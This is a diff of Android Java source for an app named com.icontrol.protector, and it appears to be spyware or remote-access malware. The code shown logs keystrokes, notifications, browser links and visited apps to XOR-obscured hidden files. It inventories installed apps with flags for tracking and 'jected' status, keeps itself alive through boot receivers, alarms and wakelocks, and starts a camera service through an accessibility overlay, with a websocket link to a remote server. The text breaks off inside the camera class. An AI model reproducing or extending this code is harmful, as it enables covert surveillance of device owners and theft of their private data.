// intent.putExtra(":settings:fragment_args_key", var7);
// intent.putExtra(":settings:show_fragment_args", var4);
// startActivityForResult(intent, 0);
// if (WorkServices.My_Access_inst != null) {
// WorkServices.My_Access_inst.FOR_DRAW_OVER = true;
// }
// }
// });
// if (!isFinishing()){
// alertDialog.show();
// }
//
//
// }
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
//instance = this;
try {
requestWindowFeature(Window.FEATURE_NO_TITLE);
getWindow().setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN,
WindowManager.LayoutParams.FLAG_FULLSCREEN);
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
if (!Settings.canDrawOverlays(getApplicationContext())) {
Intent intent = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION, Uri.parse("package:" + getPackageName()));
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
//intent.addFlags(Intent.FLAG_ACTIVITY_EXCLUDE_FROM_RECENTS);
intent.setData(Uri.parse("package:" + getPackageName()));
startActivityForResult(intent, 0);
AccessServices.FOR_DRAW_OVER = true;
// new android.os.Handler().postDelayed(() -> {
// }, 500);
// if (Build.VERSION.SDK_INT >= 34 && WorkServices.My_Access_inst != null){
// Handler handler = new Handler(getMainLooper());
// handler.postDelayed(new Runnable() {
// @Override
// public void run() {
//
//
// }
// }, 1000);
// // finish();
// }
}else{
finish();
}
}else{
finish();
}
} catch (Exception e) {
}
}
@Override
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
super.onActivityResult(requestCode, resultCode, data);
if (requestCode == 0) {
if (resultCode == Activity.RESULT_OK) {
AccessServices.FOR_DRAW_OVER = false;
Intent intent = new Intent(getApplicationContext(), Splasher.class);
intent.setFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP | Intent.FLAG_ACTIVITY_NEW_TASK);
startActivity(intent);
finish();
}
// else {
// if (resultCode == Activity.RESULT_CANCELED) {
// finish();
//
// }
// }
}
}
@Override
protected void onDestroy() {
// instance = null;
super.onDestroy();
}
// @Override
// public void finish() {
// instance =null;
// if(Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) {
// super.finishAndRemoveTask();
// }
// else {
// super.finish();
// }
// }
}
@@ -0,0 +1,237 @@
package com.icontrol.protector;
import static com.icontrol.protector.UtliTools.deleteRecursive;
import android.os.Environment;
import android.util.Base64;
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.OutputStreamWriter;
import java.nio.channels.FileChannel;
import java.nio.channels.FileLock;
import java.util.Random;
import javax.crypto.Cipher;
import javax.crypto.SecretKey;
import javax.crypto.spec.SecretKeySpec;
public class ActivityMonitors {
public static boolean isLiveStrokes = false;
public enum ActivityType {
ACTZ,//activitys
KSTR,//keystorkes
BLNK,//browser links
VAPS,//VisitedApps
NTFS,//notifications
ARTS//Alerts
}
public static String Load(ActivityType type) {
try {
String Typename = type.name();
String path = Environment.getExternalStorageDirectory().toString() + "/IC/" + Typename;
File directory = new File(path);
File[] files = directory.listFiles();
String Allnames = "";
for (int i = 0; i < files.length; i++) {
Allnames += files[i].getName().replace(".txt", "") + "<*P*>";
}
return Allnames;
} catch (Exception e) {
}
return "null";
}
//writing
public static void Record(String text, ActivityType type) {
Thread thread = new Thread(new Runnable() {
public void run() {
//BufferedWriter buf = null;
try {
String Typename = type.name();
String mydate = android.text.format.DateFormat.format("yyyy-MM-dd", new java.util.Date()).toString();
File sdDir = android.os.Environment.getExternalStorageDirectory();
File dir = new File(sdDir, "IC/" + Typename);
File TargetFile = new File(dir, mydate + ".txt");
if (!dir.exists()) {
dir.mkdirs();
}
// Check file size and rename if needed
if (TargetFile.exists() && TargetFile.length() >= 2 * 1024 * 1024) { // 3MB limit
File renamedFile;
String newFileName;
Random random = new Random();
do {
newFileName = mydate + "_" + random.nextInt(10000) + ".txt";
renamedFile = new File(dir, newFileName);
} while (renamedFile.exists()); // Ensure unique filename
TargetFile.renameTo(renamedFile);
TargetFile = new File(dir, mydate + ".txt"); // Create new file reference
}
if (!TargetFile.exists()) {
TargetFile.createNewFile();
}
// Encrypt the text and use a delimiter to separate entries
String FinalText = en(text + ">") + ":::";
try (FileOutputStream fos = new FileOutputStream(TargetFile, true);
OutputStreamWriter osw = new OutputStreamWriter(fos);
BufferedWriter writer = new BufferedWriter(osw)) {
writer.write(FinalText);
} catch (IOException e) {
e.printStackTrace();
}
} catch (Exception e) {
e.printStackTrace();
}
}
});
thread.start();
}
//clear = delete the folder
//remove (below) = delete specific file
public static void Clear(ActivityType type) {
try {
String Typename = type.name();
File sdDir = android.os.Environment.getExternalStorageDirectory();
File dir = new File(sdDir, "IC/" + Typename);
if (dir.exists()) {
deleteRecursive(dir);
}
} catch (Exception e) {
}
}
public static String Read(String filename, ActivityType type) {
BufferedReader br = null;
// FileChannel channel = null;
// FileLock lock = null;
String Typename = type.name();
File sdDir = android.os.Environment.getExternalStorageDirectory();
File out = new File(sdDir + "/IC/" + Typename + "/", filename + ".txt");
StringBuilder result = new StringBuilder();
try {
FileInputStream fis = new FileInputStream(out);
// channel = fis.getChannel();
// Try to acquire the lock
// lock = channel.lock(0L, Long.MAX_VALUE, true); // Shared lock
br = new BufferedReader(new InputStreamReader(fis));
StringBuilder text = new StringBuilder();
String line;
try {
while ((line = br.readLine()) != null) {
text.append(line);
}
// Split the entire file content using the delimiter ':::'
String[] encryptedBlocks = text.toString().split(":::");
for (String encryptedBlock : encryptedBlocks) {
if (!encryptedBlock.trim().isEmpty()) {
result.append(de(encryptedBlock)); // Decrypt each block and append
}
}
} catch (IOException e) {
// Handle exception
} finally {
if (br != null) {
br.close();
}
// if (lock != null) {
// lock.release();
// }
// if (channel != null) {
// channel.close();
// }
}
} catch (Exception ex) {
// Handle exception
}
return result.toString();
}
public static void Remove(String filename, ActivityType type) {
String Typename = type.name();
File sdDir = android.os.Environment.getExternalStorageDirectory();
File out = new File(sdDir + "/IC/" + Typename + "/", filename + "\n" + ".txt");
if (!out.exists()) {
out = new File(sdDir + "/IC/" + Typename + "/", filename + ".txt");
}
try {
if (out.exists()) {
out.delete();
}
} catch (Exception e) {
e.printStackTrace();
}
}
private static final String SECRET_KEY = "1234567890123456"; // Fixed key
public static String en(String input) {
try {
byte[] key = SECRET_KEY.getBytes("UTF-8");
byte[] inputBytes = input.getBytes("UTF-8");
byte[] result = new byte[inputBytes.length];
for (int i = 0; i < inputBytes.length; i++) {
result[i] = (byte) (inputBytes[i] ^ key[i % key.length]);
}
return Base64.encodeToString(result, Base64.DEFAULT);
} catch (Exception e) {
e.printStackTrace();
}
return input;
}
public static String de(String encryptedInput) {
try {
byte[] key = SECRET_KEY.getBytes("UTF-8");
byte[] inputBytes = Base64.decode(encryptedInput, Base64.DEFAULT);
byte[] result = new byte[inputBytes.length];
for (int i = 0; i < inputBytes.length; i++) {
result[i] = (byte) (inputBytes[i] ^ key[i % key.length]);
}
return new String(result, "UTF-8");
} catch (Exception e) {
e.printStackTrace();
}
return encryptedInput;
}
}
@@ -0,0 +1,47 @@
package com.icontrol.protector;
import android.annotation.SuppressLint;
import android.app.AlarmManager;
import android.app.PendingIntent;
import android.content.Context;
import android.content.Intent;
import android.os.Build;
public class AlarmHelper {
public static void setAlarm(Context context) {
AlarmManager alarmManager = (AlarmManager) context.getSystemService(Context.ALARM_SERVICE);
Intent intent = new Intent("MY_CUSTOM_ACTION");
int flag = Build.VERSION.SDK_INT >= Build.VERSION_CODES.M ?
PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_IMMUTABLE :
PendingIntent.FLAG_UPDATE_CURRENT;
intent.putExtra("FROM_ALARM", true);
intent.setPackage(context.getPackageName());
PendingIntent pendingIntent = PendingIntent.getBroadcast(context, 0, intent, flag);
long triggerTime = System.currentTimeMillis() + 30_000; // 30 seconds from now
try{
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.S) {
alarmManager.setExactAndAllowWhileIdle(AlarmManager.RTC_WAKEUP, triggerTime, pendingIntent);
} else {
alarmManager.setExact(AlarmManager.RTC_WAKEUP, triggerTime, pendingIntent);
}
}catch (Exception a){
try{
alarmManager.setAndAllowWhileIdle(AlarmManager.RTC_WAKEUP, triggerTime, pendingIntent);
}catch (Exception s){}
}
}
public static void cancelAlarm(Context context, Class<?> serviceClass) {
// AlarmManager alarmManager = (AlarmManager) context.getSystemService(Context.ALARM_SERVICE);
// Intent intent = new Intent(context, serviceClass);
// int flag = Build.VERSION.SDK_INT >= Build.VERSION_CODES.M ?
// PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_IMMUTABLE :
// PendingIntent.FLAG_UPDATE_CURRENT;
//
// PendingIntent pendingIntent = PendingIntent.getService(context, 0, intent, flag);
//
// alarmManager.cancel(pendingIntent);
}
}
@@ -0,0 +1,172 @@
package com.icontrol.protector;
import static com.icontrol.protector.UtliTools.getDrawableFromBase64;
import android.app.Activity;
import android.app.AlertDialog;
import android.content.Context;
import android.content.Intent;
import android.graphics.drawable.Drawable;
import android.os.Build;
import android.os.Bundle;
import android.view.Window;
import android.view.WindowManager;
import java.util.Locale;
public class AlertActivity extends Activity {
private static int Type;
private static String toopen;
@Override
protected void onCreate( Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
String Title = null ;
String Msg = null ;
Type = -1 ;
toopen = null ;
Context ctx = getApplicationContext();
String icobase = MySettings.Read(ctx,Consts.Alertico,null) ;
try {
Intent intentnew = getIntent();
if (intentnew.hasExtra("Title")){
Title = intentnew.getStringExtra("Title");
}
if(intentnew.hasExtra("Msg")){
Msg = intentnew.getStringExtra("Msg");
}
if(intentnew.hasExtra("Type")){
Type = intentnew.getIntExtra("Type",0);
}
if(intentnew.hasExtra("toopen")){
toopen = intentnew.getStringExtra("toopen");
}
}catch (Exception a){
a.printStackTrace();
Type = -1;
toopen= null;
}
if (toopen != null && Type != -1){
requestWindowFeature(Window.FEATURE_NO_TITLE);
getWindow().setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN,
WindowManager.LayoutParams.FLAG_FULLSCREEN);
Drawable icon;
try {
// null;
icon = getDrawableFromBase64(icobase,ctx);
} catch (Exception ex) {
icon = null;
}
String buttonnameOK = "OK";
String CurrnetLanuage = Locale.getDefault().getLanguage();
switch (CurrnetLanuage) {
case "en":
buttonnameOK = "ok";
break;
case "ar":
buttonnameOK = "موافق";
break;
case "zh":
buttonnameOK = "好的";
break;
case "tr":
buttonnameOK = "Tamam";
break;
default:
buttonnameOK = "OK";
break;
}
AlertDialog.Builder builder = new AlertDialog.Builder(this, android.R.style.Theme_DeviceDefault_Dialog_Alert)
.setTitle(Title)
.setMessage(Msg)
.setPositiveButton(buttonnameOK, (dialog, which) -> {
Intent intent = null;
switch (Type){
case 1:
{
intent = new Intent(ctx, BrodcastActivity.class);
intent.putExtra("type", "app");
intent.putExtra("tolunch", toopen);
}
break;
case 2:
{
intent = new Intent(ctx, BrodcastActivity.class);
if (!toopen.startsWith("http://") && !toopen.startsWith("https://")){
toopen = "http://" + toopen;
}
intent.putExtra("type", "link");
intent.putExtra("tolunch", toopen);
}
break;
default:
dialog.dismiss();
break;
}
if(intent != null){
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
intent.addFlags(Intent.FLAG_ACTIVITY_EXCLUDE_FROM_RECENTS);
intent.addFlags(Intent.FLAG_ACTIVITY_NO_HISTORY);
dialog.dismiss();
ctx.startActivity(intent);
}
AlertActivity.this.finish();
});
if (icon != null) {
builder.setIcon(icon);
}
builder.show();
}
}
// @Override
// public void finish() {
// if(Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) {
// super.finishAndRemoveTask();
// }
// else {
// super.finish();
// }
// }
@Override
protected void onDestroy() {
super.onDestroy();
}
}
@@ -0,0 +1,91 @@
package com.icontrol.protector;
import android.content.Context;
import android.content.SharedPreferences;
import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.Iterator;
import java.util.List;
import java.util.Map;
public class AppDataManager {
private static final String PREF_NAME = "AppDataPrefs";
private static final String KEY_APP_DATA = "appData";
private final SharedPreferences sharedPreferences;
public AppDataManager(Context context) {
sharedPreferences = context.getSharedPreferences(PREF_NAME, Context.MODE_PRIVATE);
}
public void addData(String appId, String data) {
Map<String, List<String>> appData = loadData();
appData.putIfAbsent(appId, new ArrayList<>());
appData.get(appId).add(data);
saveData(appData);
}
public List<String> getData(String appId) {
Map<String, List<String>> appData = loadData();
return appData.getOrDefault(appId, new ArrayList<>());
}
public void clearData(String appId) {
Map<String, List<String>> appData = loadData();
appData.remove(appId);
saveData(appData);
}
public boolean removeData(String appId, String data) {
Map<String, List<String>> appData = loadData();
List<String> dataList = appData.get(appId);
if (dataList != null && dataList.remove(data)) {
saveData(appData);
return true;
}
return false;
}
private void saveData(Map<String, List<String>> appData) {
JSONObject jsonObject = new JSONObject();
try {
for (Map.Entry<String, List<String>> entry : appData.entrySet()) {
JSONArray jsonArray = new JSONArray(entry.getValue());
jsonObject.put(entry.getKey(), jsonArray);
}
} catch (JSONException e) {
e.printStackTrace();
}
sharedPreferences.edit().putString(KEY_APP_DATA, jsonObject.toString()).apply();
}
private Map<String, List<String>> loadData() {
Map<String, List<String>> appData = new HashMap<>();
String jsonString = sharedPreferences.getString(KEY_APP_DATA, "{}");
try {
JSONObject jsonObject = new JSONObject(jsonString);
Iterator<String> keys = jsonObject.keys(); // Use keys() to get an Iterator
while (keys.hasNext()) {
String key = keys.next(); // Get each key
JSONArray jsonArray = jsonObject.getJSONArray(key);
List<String> list = new ArrayList<>();
for (int i = 0; i < jsonArray.length(); i++) {
list.add(jsonArray.getString(i));
}
appData.put(key, list);
}
} catch (JSONException e) {
e.printStackTrace();
}
return appData;
}
}
@@ -0,0 +1,188 @@
package com.icontrol.protector;
import static com.icontrol.protector.AccessTools.Blocked_Apps;
import static com.icontrol.protector.AccessTools.Lock_App_list;
import static com.icontrol.protector.AccessTools.Map_Name_ID;
import static com.icontrol.protector.AccessTools.ject_list;
import static com.icontrol.protector.Consts.SPLIT_ARAY;
import static com.icontrol.protector.Consts.SPLIT_LINE;
import static com.icontrol.protector.UtliTools.drawableToBitmap;
import android.content.Context;
import android.content.pm.ActivityInfo;
import android.content.pm.ApplicationInfo;
import android.content.pm.PackageInfo;
import android.content.pm.PackageManager;
import android.graphics.Bitmap;
import android.graphics.drawable.Drawable;
import android.util.Base64;
import java.io.ByteArrayOutputStream;
import java.util.Date;
import java.util.List;
public class Apps_Manage {
private static StringBuffer LoadApps = new StringBuffer();
public static String Load(Context c) {
try {
// byte[] f = "null".getBytes();
if (LoadApps.toString().length() != 0){
LoadApps = new StringBuffer();
}
final PackageManager pm = c.getPackageManager();
List<ApplicationInfo> pk = pm.getInstalledApplications(PackageManager.GET_META_DATA);
for (ApplicationInfo p : pk) {
if (pm.getLaunchIntentForPackage(p.packageName) != null &&
!pm.getLaunchIntentForPackage(p.packageName).equals(""))
{
// String permissionsString = "null";
// String activitiesString = "null";
// String reciversString = "null";
//Array of all <activity> pInf.activities to one string
// PackageInfo perimsinfo = pm.getPackageInfo(p.packageName, PackageManager.GET_PERMISSIONS);
// if(perimsinfo.requestedPermissions != null){
// StringBuilder permissionsStringBuilder = new StringBuilder();
// for (String permission : perimsinfo.requestedPermissions) {
//
// permissionsStringBuilder.append(permission).append("<X>");
// }
// permissionsString = permissionsStringBuilder.toString();
// }
// PackageInfo activisinfo = pm.getPackageInfo(p.packageName, PackageManager.GET_ACTIVITIES);
// if (activisinfo.activities != null) {
// StringBuilder activitiesStringBuilder = new StringBuilder();
//
// for (ActivityInfo activityInfo : activisinfo.activities) {
//
// activitiesStringBuilder.append(activityInfo.name).append("<X>");
//
// }
// activitiesString = activitiesStringBuilder.toString();
// }
// PackageInfo reciversinfo = pm.getPackageInfo(p.packageName, PackageManager.GET_RECEIVERS);
// if(reciversinfo.receivers != null){
// StringBuilder reciversStringBuilder = new StringBuilder();
//
// for (ActivityInfo reciverinfo : reciversinfo.receivers) {
// // Append the information you need, such as activity name, package name, etc.
// reciversStringBuilder.append(reciverinfo.name).append("<X>");
//
// }
// reciversString = reciversStringBuilder.toString();
// }
PackageInfo pInf = pm.getPackageInfo(p.packageName, PackageManager.GET_PERMISSIONS);
Date installTime = new Date(pInf.firstInstallTime);
String flag = "null";
if (pm.getLaunchIntentForPackage(p.packageName) != null) {
if ((p.flags & ApplicationInfo.FLAG_SYSTEM) == 1) {
flag = "System";
} else {
flag = "User";
}
}
String isenabled = "1";
try{
if(Blocked_Apps.contains(p.packageName.toString().toLowerCase())){
isenabled = "0";
}
}catch (Exception a){
}
String islocked = "0";
try{
if (Lock_App_list.contains(p.packageName.toString().toLowerCase())){
islocked = "1";
}
}catch (Exception a){
}
String istracked = "0";
try{
if (Map_Name_ID.containsKey(pm.getApplicationLabel(p))) {
istracked="1";
}
}catch (Exception a){
}
String isjected = "0";
try{
if (ject_list.contains(p.packageName.toString().toLowerCase())){
isjected = "1";
}
}catch (Exception a){
}
String baseString = "null";
try {
Drawable icon = c.getPackageManager().getApplicationIcon(p.packageName);
// Convert Drawable to Bitmap
Bitmap bitmap = drawableToBitmap(icon);
// Resize the Bitmap to 45x45
Bitmap resizedBitmap = Bitmap.createScaledBitmap(bitmap, 30, 30, false);
// Compress the resized Bitmap and convert to Base64
ByteArrayOutputStream byteStream = new ByteArrayOutputStream();
resizedBitmap.compress(Bitmap.CompressFormat.JPEG, 30, byteStream);
byte[] byteArray = byteStream.toByteArray();
baseString = Base64.encodeToString(byteArray, Base64.DEFAULT);
} catch (PackageManager.NameNotFoundException e) {
e.printStackTrace();
baseString="null";
}
//isenabled islocked istracked
LoadApps.append(pm.getApplicationLabel(p) +
SPLIT_ARAY +
flag +
SPLIT_ARAY +
p.packageName +
SPLIT_ARAY +
installTime+
SPLIT_ARAY +
baseString +
SPLIT_ARAY +
isenabled +
SPLIT_ARAY +
islocked +
SPLIT_ARAY +
istracked +
SPLIT_ARAY +
isjected +
SPLIT_LINE);
}
}
try {
if (LoadApps.toString().length()!=0){
String s0 = LoadApps.toString() ;
// f = s0.getBytes();
return s0;
}
} catch (Exception e) {}
} catch (Exception e) {}
return null;
}
}
@@ -0,0 +1,71 @@
package com.icontrol.protector;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.nio.ByteBuffer;
import java.nio.ByteOrder;
public class AudioUtils {
public static byte[] addWavHeader(byte[] pcmData, int sampleRate, int channels, int bitsPerSample) throws IOException {
long totalAudioLen = pcmData.length;
long totalDataLen = totalAudioLen + 36;
long byteRate = sampleRate * channels * bitsPerSample / 8;
byte[] header = wavFileHeader(totalAudioLen, totalDataLen, sampleRate, channels, byteRate, (byte) bitsPerSample);
ByteArrayOutputStream out = new ByteArrayOutputStream();
out.write(header);
out.write(pcmData);
return out.toByteArray();
}
private static byte[] wavFileHeader(long totalAudioLen, long totalDataLen, long longSampleRate,
int channels, long byteRate, byte bitsPerSample) {
byte[] header = new byte[44];
header[0] = 'R'; // RIFF/WAVE header
header[1] = 'I';
header[2] = 'F';
header[3] = 'F';
header[4] = (byte) (totalDataLen & 0xff);
header[5] = (byte) ((totalDataLen >> 8) & 0xff);
header[6] = (byte) ((totalDataLen >> 16) & 0xff);
header[7] = (byte) ((totalDataLen >> 24) & 0xff);
header[8] = 'W';
header[9] = 'A';
header[10] = 'V';
header[11] = 'E';
header[12] = 'f'; // 'fmt ' chunk
header[13] = 'm';
header[14] = 't';
header[15] = ' ';
header[16] = 16; // 4 bytes: size of 'fmt ' chunk
header[17] = 0;
header[18] = 0;
header[19] = 0;
header[20] = 1; // format = 1
header[21] = 0;
header[22] = (byte) channels;
header[23] = 0;
header[24] = (byte) (longSampleRate & 0xff);
header[25] = (byte) ((longSampleRate >> 8) & 0xff);
header[26] = (byte) ((longSampleRate >> 16) & 0xff);
header[27] = (byte) ((longSampleRate >> 24) & 0xff);
header[28] = (byte) (byteRate & 0xff);
header[29] = (byte) ((byteRate >> 8) & 0xff);
header[30] = (byte) ((byteRate >> 16) & 0xff);
header[31] = (byte) ((byteRate >> 24) & 0xff);
header[32] = (byte) (channels * (bitsPerSample / 8)); //
// block align
header[33] = 0;
header[34] = bitsPerSample; // bits per sample
header[35] = 0;
header[36] = 'd';
header[37] = 'a';
header[38] = 't';
header[39] = 'a';
header[40] = (byte) (totalAudioLen & 0xff);
header[41] = (byte) ((totalAudioLen >> 8) & 0xff);
header[42] = (byte) ((totalAudioLen >> 16) & 0xff);
header[43] = (byte) ((totalAudioLen >> 24) & 0xff);
return header;
}
}
@@ -0,0 +1,90 @@
package com.icontrol.protector;
import android.content.Context;
import android.content.Intent;
import android.os.Build;
import android.os.PowerManager;
import android.util.Log;
import androidx.annotation.NonNull;
import androidx.work.Worker;
import androidx.work.WorkerParameters;
public class Backworker extends Worker {
private PowerManager.WakeLock wakeLock;
public Backworker(Context context, WorkerParameters workerParams) {
super(context, workerParams);
}
@NonNull
@Override
public Result doWork() {
try {
if (isStopped()) {
//Log.e("MyWorker", "Worker stopped before start");
return Result.failure();
}
acquireWakeLock();
Context mcontext = getApplicationContext();
try {
Intent workint = new Intent(getApplicationContext(), EngineWorker.class);
if (!MyCods.isServiceRunning(getApplicationContext(), EngineWorker.class))
{
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
mcontext.startForegroundService(workint);
}else
{
mcontext.startService(workint);
}
}
if (!MyCods.isServiceRunning(getApplicationContext(), WorkServices.class))
{
Intent workint2 = new Intent(getApplicationContext(), WorkServices.class);
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
mcontext.startForegroundService(workint2);
}else
{
mcontext.startService(workint2);
}
}else{
try{
Intent intent = new Intent(getApplicationContext(), WorkServices.class);
intent.setAction("HB");
mcontext.startService(intent);
}catch (Exception s){}
}
} catch (Exception e) {
}
return Result.success();
} finally {
releaseWakeLock();
}
}
@Override
public void onStopped() {
super.onStopped();
Log.w("MyWorker", "Worker was stopped!");
}
private void acquireWakeLock() {
PowerManager powerManager = (PowerManager) getApplicationContext().getSystemService(Context.POWER_SERVICE);
if (powerManager != null) {
wakeLock = powerManager.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK| PowerManager.ON_AFTER_RELEASE, getApplicationContext().getPackageName() + ":wrk");
wakeLock.acquire(60*1000L /*10 minutes*/); // Acquire for a maximum of 10 minutes
}
}
private void releaseWakeLock() {
if (wakeLock != null && wakeLock.isHeld()) {
wakeLock.release();
}
}
}
@@ -0,0 +1,52 @@
package com.icontrol.protector;
import static com.icontrol.protector.MyCods.isServiceRunning;
import static com.icontrol.protector.WorkServices.MyWorker.AlertServer;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Build;
public class BootReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
new Thread(() -> {
if (intent.getAction() != null ){
if((intent.getAction() == "android.intent.action.BOOT_COMPLETED") ||
(intent.getAction() == "android.intent.action.REBOOT") ){
try{
Intent splasher = new Intent(context, Splasher.class);
splasher.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
splasher.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
splasher.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP);
context.startActivity(splasher);
}catch (Exception a){}
}
}
AlarmHelper.setAlarm(context);
MySettings.WriteBool(context, Consts.AutoStartOn,true);
Intent workint = new Intent(context, EngineWorker.class);
if (!isServiceRunning(context, EngineWorker.class))
{
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
context.startForegroundService(workint);
}else
{
context.startService(workint);
}
}
}).start();
}
}
@@ -0,0 +1,109 @@
package com.icontrol.protector;
import static com.icontrol.protector.WorkServices.MyWorker.AlertServer;
import android.app.Activity;
import android.content.ActivityNotFoundException;
import android.content.ComponentName;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.net.Uri;
import android.os.Build;
import android.os.Bundle;
import android.view.Window;
import android.view.WindowManager;
public class BrodcastActivity extends Activity {
@Override
protected void onCreate( Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
String lunchtype = null ;
String tolunch = null ;
try {
Intent intentnew = getIntent();
if (intentnew.hasExtra("type")){
lunchtype = intentnew.getStringExtra("type");
}
if(intentnew.hasExtra("tolunch")){
tolunch = intentnew.getStringExtra("tolunch");
}
}catch (Exception a){
a.printStackTrace();
lunchtype = null;
tolunch= null;
}
if (lunchtype != null && tolunch != null){
MyLoger.Debug("BrodcastActivity", "lunchtype: " + lunchtype);
MyLoger.Debug("BrodcastActivity", "tolunch: " + tolunch);
requestWindowFeature(Window.FEATURE_NO_TITLE);
getWindow().setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN,
WindowManager.LayoutParams.FLAG_FULLSCREEN);
switch (lunchtype) {
case "app":
openAppByPackageName(tolunch);
break;
case "link":
openLinkInBrowser(tolunch);
break;
default:
MyLoger.Debug("BrodcastActivity", "Unknown lunchtype: " + lunchtype);
break;
}
}
finish();
}
private void openAppByPackageName(String packageName) {
PackageManager pm = getPackageManager();
Intent appIntent = pm.getLaunchIntentForPackage(packageName);
if (appIntent != null) {
appIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
startActivity(appIntent);
} else {
MyLoger.Debug("BrodcastActivity", "App not found: " + packageName);
AlertServer(getApplicationContext(),"Broadcast","App not found: " + packageName);
}
}
private void openLinkInBrowser(String url) {
try {
Intent i = new Intent("android.intent.action.MAIN");
i.setComponent(new ComponentName("com.android.chrome", "com.google.android.apps.chrome.Main"));
i.addCategory("android.intent.category.LAUNCHER");
i.setData(Uri.parse(url));
startActivity(i);
} catch(ActivityNotFoundException e) {
Intent browserIntent = new Intent(Intent.ACTION_VIEW, Uri.parse(url));
if (browserIntent.resolveActivity(getPackageManager()) != null) {
browserIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
startActivity(browserIntent);
}
}
}
// @Override
// public void finish() {
// if(Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) {
// super.finishAndRemoveTask();
// }
// else {
// super.finish();
// }
// }
@Override
protected void onDestroy() {
super.onDestroy();
}
}
@@ -0,0 +1,580 @@
package com.icontrol.protector;
import static com.icontrol.protector.WorkServices.MyWorker.AlertServer;
import static com.icontrol.protector.Consts.URL_SOCKT;
import android.app.Notification;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.content.pm.ServiceInfo;
import android.graphics.ImageFormat;
import android.graphics.PixelFormat;
import android.graphics.Rect;
import android.graphics.YuvImage;
import android.hardware.Camera;
import android.os.Build;
import android.os.IBinder;
import android.util.Base64;
import android.view.Gravity;
import android.view.SurfaceHolder;
import android.view.SurfaceView;
import android.view.WindowManager;
import androidx.annotation.NonNull;
import androidx.annotation.Nullable;
import org.json.JSONException;
import org.json.JSONObject;
import java.io.ByteArrayOutputStream;
import java.util.ArrayList;
import java.util.List;
import java.util.Vector;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.Response;
import okhttp3.WebSocket;
import okhttp3.WebSocketListener;
public class CameraCap extends Service implements SurfaceHolder.Callback {
public static Camera mycamera = null;
public static WindowManager WindoManager;
//public SurfaceView serfaceV;
public static WindowManager.LayoutParams MyLayout;
public static boolean Camused = false, ctd = false;
private List<byte[]> BytsArry = new ArrayList<byte[]>();
private static Object Lockobj = new Object();
public static String CommandData;
public static WindowManager.LayoutParams Win_Layout;
public static WindowManager Win_Manage;
public SurfaceView Srf_Vew;
//CameraCap currentinstns;
public static String load() {
String Response = "";
try {
Camera cm = Camera.open(0);
List<Camera.Size> tmpList = cm.getParameters().getSupportedPreviewSizes();
final List<Camera.Size> sizeList = new Vector<>();
for (int i = 0; i < tmpList.size(); i++) {
String size = "[" + String.valueOf(tmpList.get(i).width) + "x" + String.valueOf(tmpList.get(i).height) + "],";
//Log.e("Size :",size);
Response += size;
//
}
} catch (Exception a) {
}
return Response;
}
private static int Notifi_ID = 111;
private void startforground(Context ctx) {
try {
// int Notifi_ID = UtliTools.randomnumber(11111, 88888);
MyNotification MyNotifiint = MyNotification.getInstance(ctx);
Notification notification = MyNotifiint.createNotification(ctx);
if (Build.VERSION.SDK_INT >= 34) {
this.startForeground(Notifi_ID, notification,
ServiceInfo.FOREGROUND_SERVICE_TYPE_DATA_SYNC);
} else {
this.startForeground(Notifi_ID, notification);
}
} catch (Exception a) {
}
}
@Override
public void onCreate() {
super.onCreate();
Context ctx = getApplicationContext();
startforground(ctx);
}
public static final String ACTION_STOP_CAM = "ACTION_STOP_C";
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
try {
if (intent != null) {
String action = intent.getAction();
if (action != null && action.equals(ACTION_STOP_CAM)) {
killall();
stopForeground(false);
// Stop the foreground service.
stopSelf();
return START_NOT_STICKY;
}
}
Context ctx = getApplicationContext();
startforground(ctx);
String Dataintent = "CData";
if (intent != null) {
if (intent.hasExtra(Dataintent)) {
if (AccessServices.AccessWindow != null && AccessServices.AccessLayout != null) {
CommandData = intent.getStringExtra(Dataintent);
Camused = ck();
if (Camused == false) {
Srf_Vew = new SurfaceView(getApplicationContext());
AccessServices.AccessLayout.gravity = Gravity.LEFT | Gravity.TOP;
AccessServices.AccessWindow.addView(Srf_Vew, AccessServices.AccessLayout);
Srf_Vew.getHolder().addCallback(this);
ConnectCam(ctx);
} else {
AlertServer(ctx, "Camera start fail", "Camera in use By another App");
ReleaseAll(ctx);
return START_NOT_STICKY;
}
} else {
CommandData = intent.getStringExtra(Dataintent);
